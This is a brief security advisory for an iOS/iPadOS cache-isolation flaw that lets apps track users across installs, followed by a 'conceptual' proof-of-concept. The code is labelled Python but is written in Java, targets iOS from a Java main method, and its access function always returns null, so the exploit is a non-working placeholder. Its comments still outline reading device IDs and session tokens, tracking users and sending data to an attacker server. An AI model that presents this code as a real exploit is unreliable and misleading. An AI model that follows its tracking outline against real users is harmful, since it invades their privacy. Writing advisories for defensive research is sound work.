The issue was addressed with improved handling of caches. This issue is fixed in iOS 26.1 and iPadOS 26.1. A malicious app may be able to track users between installs.
The following code is for security research and authorized testing only.
python
// CVE-2025-43449 PoC - Conceptual Proof of Concept
// This is a conceptual demonstration of the cache tracking vulnerability
// DO NOT use for malicious purposes
// Simulated malicious app attempting to access cached user data
class CacheTrackingPoC {
// Target cache keys that may contain user identifiers
private static final String[] CACHE_KEYS = {
"user_device_id",
"user_session_token",
"user_behavior_cache",
"app_installation_id",
"user_preference_cache"
};
public static void main(String[] args) {
System.out.println("CVE-2025-43449 Cache Tracking Vulnerability PoC");
System.out.println("Target: Apple iOS/iPadOS < 26.1");
// Attempt to access system cache
for (String key : CACHE_KEYS) {
try {
// Simulated cache access attempt
Object cachedData = accessSystemCache(key);
if (cachedData != null) {
System.out.println("[+] Retrieved: " + key);
System.out.println(" Data: " + cachedData.toString());
// Track user across installs using cached identifier
trackUserAcrossInstalls(cachedData);
}
} catch (SecurityException e) {
System.out.println("[-] Blocked accessing: " + key);
}
}
}
private static Object accessSystemCache(String key) {
// Simulated cache access - actual exploitation requires iOS environment
// Vulnerable condition: cache not properly isolated between apps
return null; // Returns cached user data if vulnerability exists
}
private static void trackUserAcrossInstalls(Object identifier) {
// Use cached identifier to track user across different app installations
System.out.println("[!] User tracking established with ID: " + identifier);
}
}
// Note: Actual exploitation requires:
// 1. Malicious iOS app with cache access permissions
// 2. Exploitation of improper cache isolation in iOS < 26.1
// 3. Network access to transmit collected data to attacker server